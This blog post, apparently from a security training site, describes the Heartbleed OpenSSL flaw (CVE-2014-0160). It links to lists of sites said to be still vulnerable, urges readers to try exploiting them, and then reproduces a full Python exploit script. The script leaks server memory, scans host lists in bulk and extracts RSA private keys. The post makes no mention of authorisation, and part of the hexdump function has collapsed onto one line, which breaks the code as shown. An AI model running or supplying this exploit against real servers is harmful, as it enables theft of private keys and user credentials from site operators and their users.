Don’t Let Your Site Heartbleed

January 25, 2017 | Views: 3225

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What is Heartbleed?

Heartbleed is a vulnerability in OpenSSL which allow hackers/attackers to gain access to servers highly secure data such as user authentication data or secured secret keys. It leaks the data in memory dump to the attacker. It is also called “heart.” For more info, you can visit this website. It offers a good explanation/backstory.

Try Exploiting Heartbleed

There are still some sites vulnerable to Heartbleed. This detail can be found on this site: https://tjkelly.com/blog/heartbleed-website-list/ and also in https://zmap.io/heartbleed/ (NOTE: Some sites are no longer vulnerable, which is provided in that link). Also, there are some python scripts helpful in exploiting heartbleed vulnerable sites. So I recommend you use this python script: [click in the box then use the left and right arrow keys to view hidden text].

#!/usr/bin/python

# Modified by Travis Lee
# Last Updated: 4/21/14
# Version 1.16
#
# -changed output to display text only instead of hexdump and made it easier to read
# -added option to specify number of times to connect to server (to get more data)
# -added option to send STARTTLS command for use with SMTP/POP/IMAP/FTP/etc... 
# -added option to specify an input file of multiple hosts, line delimited, with or without a port specified (host:port)
# -added option to have verbose output
# -added capability to automatically check if STARTTLS/STLS/AUTH TLS is supported when smtp/pop/imap/ftp ports are entered and automatically send appropriate command 
# -added option for hex output
# -added option to output raw data to a file
# -added option to output ascii data to a file
# -added option to not display returned data on screen (good if doing many iterations and outputting to a file)
# -added tls version auto-detection
# -added an extract rsa private key mode (orig code from epixoip. will exit script when found and enables -d (do not display returned data on screen)
#  -requires following modules: gmpy, pyasn1

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
import time
import os
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test and exploit TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-n', '--num', type='int', default=1, help='Number of times to connect/loop (default: 1)')
options.add_option('-s', '--starttls', action="store_true", dest="starttls", help='Issue STARTTLS command for SMTP/POP/IMAP/FTP/etc...')
options.add_option('-f', '--filein', type='str', help='Specify input file, line delimited, IPs or hostnames or IP:port or hostname:port')
options.add_option('-v', '--verbose', action="store_true", dest="verbose", help='Enable verbose output')
options.add_option('-x', '--hexdump', action="store_true", dest="hexdump", help='Enable hex output')
options.add_option('-r', '--rawoutfile', type='str', help='Dump the raw memory contents to a file')
options.add_option('-a', '--asciioutfile', type='str', help='Dump the ascii contents to a file')
options.add_option('-d', '--donotdisplay', action="store_true", dest="donotdisplay", help='Do not display returned data on screen')
options.add_option('-e', '--extractkey', action="store_true", dest="extractkey", help='Attempt to extract RSA Private Key, will exit when found. Choosing this enables -d, do not display returned data on screen.')

opts, args = options.parse_args()

if opts.extractkey:
    import base64, gmpy
    from pyasn1.codec.der import encoder
    from pyasn1.type.univ import *

def hex2bin(arr):
    return ''.join('{:02x}'.format(x) for x in arr).decode('hex')

tls_versions = {0x01:'TLSv1.0',0x02:'TLSv1.1',0x03:'TLSv1.2'}

def build_client_hello(tls_ver):
    client_hello = [
# TLS header ( 5 bytes)
0x16,               # Content type (0x16 for handshake)
0x03, tls_ver,         # TLS Version
0x00, 0xdc,         # Length
# Handshake header
0x01,               # Type (0x01 for ClientHello)
0x00, 0x00, 0xd8,   # Length
0x03, tls_ver,         # TLS Version
# Random (32 byte)
0x53, 0x43, 0x5b, 0x90, 0x9d, 0x9b, 0x72, 0x0b,
0xbc, 0x0c, 0xbc, 0x2b, 0x92, 0xa8, 0x48, 0x97,
0xcf, 0xbd, 0x39, 0x04, 0xcc, 0x16, 0x0a, 0x85,
0x03, 0x90, 0x9f, 0x77, 0x04, 0x33, 0xd4, 0xde,
0x00,               # Session ID length
0x00, 0x66,         # Cipher suites length
# Cipher suites (51 suites)
0xc0, 0x14, 0xc0, 0x0a, 0xc0, 0x22, 0xc0, 0x21,
0x00, 0x39, 0x00, 0x38, 0x00, 0x88, 0x00, 0x87,
0xc0, 0x0f, 0xc0, 0x05, 0x00, 0x35, 0x00, 0x84,
0xc0, 0x12, 0xc0, 0x08, 0xc0, 0x1c, 0xc0, 0x1b,
0x00, 0x16, 0x00, 0x13, 0xc0, 0x0d, 0xc0, 0x03,
0x00, 0x0a, 0xc0, 0x13, 0xc0, 0x09, 0xc0, 0x1f,
0xc0, 0x1e, 0x00, 0x33, 0x00, 0x32, 0x00, 0x9a,
0x00, 0x99, 0x00, 0x45, 0x00, 0x44, 0xc0, 0x0e,
0xc0, 0x04, 0x00, 0x2f, 0x00, 0x96, 0x00, 0x41,
0xc0, 0x11, 0xc0, 0x07, 0xc0, 0x0c, 0xc0, 0x02,
0x00, 0x05, 0x00, 0x04, 0x00, 0x15, 0x00, 0x12,
0x00, 0x09, 0x00, 0x14, 0x00, 0x11, 0x00, 0x08,
0x00, 0x06, 0x00, 0x03, 0x00, 0xff,
0x01,               # Compression methods length
0x00,               # Compression method (0x00 for NULL)
0x00, 0x49,         # Extensions length
# Extension: ec_point_formats
0x00, 0x0b, 0x00, 0x04, 0x03, 0x00, 0x01, 0x02,
# Extension: elliptic_curves
0x00, 0x0a, 0x00, 0x34, 0x00, 0x32, 0x00, 0x0e,
0x00, 0x0d, 0x00, 0x19, 0x00, 0x0b, 0x00, 0x0c,
0x00, 0x18, 0x00, 0x09, 0x00, 0x0a, 0x00, 0x16,
0x00, 0x17, 0x00, 0x08, 0x00, 0x06, 0x00, 0x07,
0x00, 0x14, 0x00, 0x15, 0x00, 0x04, 0x00, 0x05,
0x00, 0x12, 0x00, 0x13, 0x00, 0x01, 0x00, 0x02,
0x00, 0x03, 0x00, 0x0f, 0x00, 0x10, 0x00, 0x11,
# Extension: SessionTicket TLS
0x00, 0x23, 0x00, 0x00,
# Extension: Heartbeat
0x00, 0x0f, 0x00, 0x01, 0x01
    ]
    return client_hello
    
def build_heartbeat(tls_ver):
    heartbeat = [
0x18,       # Content Type (Heartbeat)
0x03, tls_ver,  # TLS version
0x00, 0x03,  # Length
# Payload
0x01,       # Type (Request)
0x40, 0x00  # Payload length
    ] 
    return heartbeat


if opts.rawoutfile:
    rawfileOUT = open(opts.rawoutfile, "a")

if opts.asciioutfile:
    asciifileOUT = open(opts.asciioutfile, "a")
    
if opts.extractkey:
    opts.donotdisplay = True
    
def hexdump(s):
    pdat = ''
    hexd = ''
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        if opts.hexdump:
            hxdat = ' '.join('%02X' % ord(c) for c in lin)
            pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
            hexd += '  %04x: %-48s %s\n' % (b, hxdat, pdat)
        else:
            pdat += ''.join((c if ((32 <= ord(c) <= 126) or (ord(c) == 10) or (ord(c) == 13)) else '.' )for c in lin) if opts.hexdump: return hexd else: pdat = re.sub(r'([.]{50,})', '', pdat) if opts.asciioutfile: asciifileOUT.write(pdat) return pdat def rcv_tls_record(s): try: tls_header = s.recv(5) if not tls_header: print 'Unexpected EOF (header)' return None,None,None typ,ver,length = struct.unpack('>BHH',tls_header)
        message = ''
        while len(message) != length:
            message += s.recv(length-len(message))
        if not message:
            print 'Unexpected EOF (message)'
            return None,None,None
        if opts.verbose:
	        print 'Received message: type = {}, version = {}, length = {}'.format(typ,hex(ver),length,)
        return typ,ver,message
    except Exception as e:
        print "\nError Receiving Record! " + str(e)
        return None,None,None

def hit_hb(s, targ, firstrun, supported):
    s.send(hex2bin(build_heartbeat(supported)))
    while True:
        typ, ver, pay = rcv_tls_record(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return ''

        if typ == 24:
            if opts.verbose:
                print 'Received heartbeat response...'
            if len(pay) > 3:
                if firstrun or opts.verbose:
                    print '\nWARNING: ' + targ + ':' + str(opts.port) + ' returned more data than it should - server is vulnerable!'
                if opts.rawoutfile:
                    rawfileOUT.write(pay)
                if opts.extractkey:
                	return pay
                else:
	                return hexdump(pay)
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'

        if typ == 21:
            print 'Received alert:'
            return hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return ''


def conn(targ, port):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sys.stdout.flush()
        s.settimeout(10)
        #time.sleep(0.2)
        s.connect((targ, port))
        return s

    except Exception as e:
       print "Connection Error! " + str(e)
       return None
       
def bleed(targ, port):
    try:
        res = ''
        firstrun = True
        print '\n##################################################################'
        print 'Connecting to: ' + targ + ':' + str(port) + ', ' + str(opts.num) + ' times'
        for x in range(0, opts.num):
            if x > 0:
                firstrun = False
            
            if x == 0 and opts.extractkey:
                print "Attempting to extract private key from returned data..."
                if not os.path.exists('./hb-certs'):
                    os.makedirs('./hb-certs')
                print '\nGrabbing public cert from: ' + targ + ':' + str(port) + '\n'
                os.system('echo | openssl s_client -connect ' + targ + ':' + str(port) + ' -showcerts | openssl x509 > hb-certs/sslcert_' + targ + '.pem')	
                print '\nExtracting modulus from cert...\n'
                os.system('openssl x509 -pubkey -noout -in hb-certs/sslcert_' + targ + '.pem > hb-certs/sslcert_' + targ + '_pubkey.pem')
                output = os.popen('openssl x509 -in hb-certs/sslcert_' + targ + '.pem -modulus -noout | cut -d= -f2')
                modulus = output.read()
            
            s = conn(targ, port)
            if not s:
                continue

            # send starttls command if specified as an option or if common smtp/pop3/imap ports are used
            if (opts.starttls) or (port in {25, 587, 110, 143, 21}):
                
                stls = False
                atls = False
                
                # check if smtp supports starttls/stls
                if port in {25, 587}:
                    print 'SMTP Port... Checking for STARTTLS Capability...'
                    check = s.recv(1024)
                    s.send("EHLO someone.org\n")
                    sys.stdout.flush()
                    check += s.recv(1024)
                    if opts.verbose:
                        print check
                                        
                    if "STARTTLS" in check:
                        opts.starttls = True
                        print "STARTTLS command found"
                    elif "STLS" in check:
                        opts.starttls = True
                        stls = True
                        print "STLS command found"
                    else:
                        print "STARTTLS command NOT found!"
                        print '##################################################################'
                        return
                
                # check if pop3/imap supports starttls/stls                            
                elif port in {110, 143}:
                    print 'POP3/IMAP4 Port... Checking for STARTTLS Capability...'
                    check = s.recv(1024)
                    if port == 110:
                        s.send("CAPA\n")
                    if port == 143:
                        s.send("CAPABILITY\n")
                    sys.stdout.flush()
                    check += s.recv(1024)
                    if opts.verbose:
                        print check
                                           
                    if "STARTTLS" in check:
                        opts.starttls = True
                        print "STARTTLS command found"
                    elif "STLS" in check:
                        opts.starttls = True
                        stls = True
                        print "STLS command found"
                    else:
                        print "STARTTLS command NOT found!"
                        print '##################################################################'
                        return
                        
                # check if ftp supports auth tls/starttls                          
                elif port in {21}:
                    print 'FTP Port... Checking for AUTH TLS Capability...'
                    check = s.recv(1024)
                    s.send("FEAT\n")
                    sys.stdout.flush()
                    check += s.recv(1024)
                    if opts.verbose:
                        print check
                        
                    if "STARTTLS" in check:
                        opts.starttls = True
                        print "STARTTLS command found"
                    elif "AUTH TLS" in check:
                        opts.starttls = True
                        atls = True
                        print "AUTH TLS command found"
                    else:
                        print "STARTTLS command NOT found!"
                        print '##################################################################'
                        return
                                        
                # send appropriate tls command if supported                        
                if opts.starttls:       
                    sys.stdout.flush()
                    if stls:
                        print 'Sending STLS Command...'
                        s.send("STLS\n")
                    elif atls:
                        print 'Sending AUTH TLS Command...'
                        s.send("AUTH TLS\n")
                    else:
                        print 'Sending STARTTLS Command...'
                        s.send("STARTTLS\n")
                    if opts.verbose:
                        print 'Waiting for reply...'
                    sys.stdout.flush()
                    rcv_tls_record(s)

            supported = False
            for num,tlsver in tls_versions.items():
                
                if firstrun:
                    print 'Sending Client Hello for {}'.format(tlsver)
                s.send(hex2bin(build_client_hello(num)))
                
                if opts.verbose:
                    print 'Waiting for Server Hello...'
                
                while True:
                    typ,ver,message = rcv_tls_record(s)
                    if not typ:
                        if opts.verbose:
                            print 'Server closed connection without sending ServerHello for {}'.format(tlsver)
                        s.close()
                        s = conn(targ, port)
                        break
                    if typ == 22 and ord(message[0]) == 0x0E:
                        if firstrun:
                            print 'Received Server Hello for {}'.format(tlsver)
                        supported = True
                        break
                if supported: break

            if not supported:
                print '\nError! No TLS versions supported!'
                print '##################################################################'
                return

            if opts.verbose:
                print '\nSending heartbeat request...'
            sys.stdout.flush()
            
            keyfound = False
            if opts.extractkey:
            	res = hit_hb(s, targ, firstrun, supported)
            	if res == '':
            	    continue
            	keyfound = extractkey(targ, res, modulus)
            else:
	            res += hit_hb(s, targ, firstrun, supported)
            s.close()
            if keyfound:
                sys.exit(0)
            else:
                sys.stdout.write('\rPlease wait... connection attempt ' + str(x+1) + ' of ' + str(opts.num))
                sys.stdout.flush()
        
        print '\n##################################################################'
        print       
        return res
    
    except Exception as e:
       print "Error! " + str(e)
       print '##################################################################'
       print               

def extractkey(host, chunk, modulus):
	
    #print "\nChecking for private key...\n"
    n = int (modulus, 16)
    keysize = n.bit_length() / 16

    for offset in xrange (0, len (chunk) - keysize):
        p = long (''.join (["%02x" % ord (chunk[x]) for x in xrange (offset + keysize - 1, offset - 1, -1)]).strip(), 16)
        if gmpy.is_prime (p) and p != n and n % p == 0:
            if opts.verbose:
                print '\n\nFound prime: ' + str(p)
            e = 65537
            q = n / p
            phi = (p - 1) * (q - 1)
            d = gmpy.invert (e, phi)
            dp = d % (p - 1)
            dq = d % (q - 1)
            qinv = gmpy.invert (q, p)
            seq = Sequence()
            for x in [0, n, e, d, p, q, dp, dq, qinv]:
                seq.setComponentByPosition (len (seq), Integer (x))
            print "\n\n-----BEGIN RSA PRIVATE KEY-----\n%s-----END RSA PRIVATE KEY-----\n\n" % base64.encodestring(encoder.encode (seq))
            privkeydump = open("hb-certs/privkey_" + host + ".dmp", "a")
            privkeydump.write(chunk)
            return True
        else:
            return False

def main():

    print "\ndefribulator v1.16"
    print "A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)"
    allresults = ''
                    
    # if a file is specified, loop through file
    if opts.filein:
        fileIN = open(opts.filein, "r")
        
        for line in fileIN:
            targetinfo = line.strip().split(":")
            if len(targetinfo) > 1:
                allresults = bleed(targetinfo[0], int(targetinfo[1]))
            else:
                allresults = bleed(targetinfo[0], opts.port)
            
            if allresults and (not opts.donotdisplay):
                print '%s' % (allresults)

        fileIN.close()

    else:
        if len(args) < 1:
            options.print_help()
            return
        allresults = bleed(args[0], opts.port)
        if allresults and (not opts.donotdisplay):
            print '%s' % (allresults)
    
    print
    
    if opts.rawoutfile:
        rawfileOUT.close()
    
    if opts.asciioutfile:
        asciifileOUT.close()
            
if __name__ == '__main__':
    main()

Script is also available on GitHub: https://gist.github.com/eelsivart/10174134

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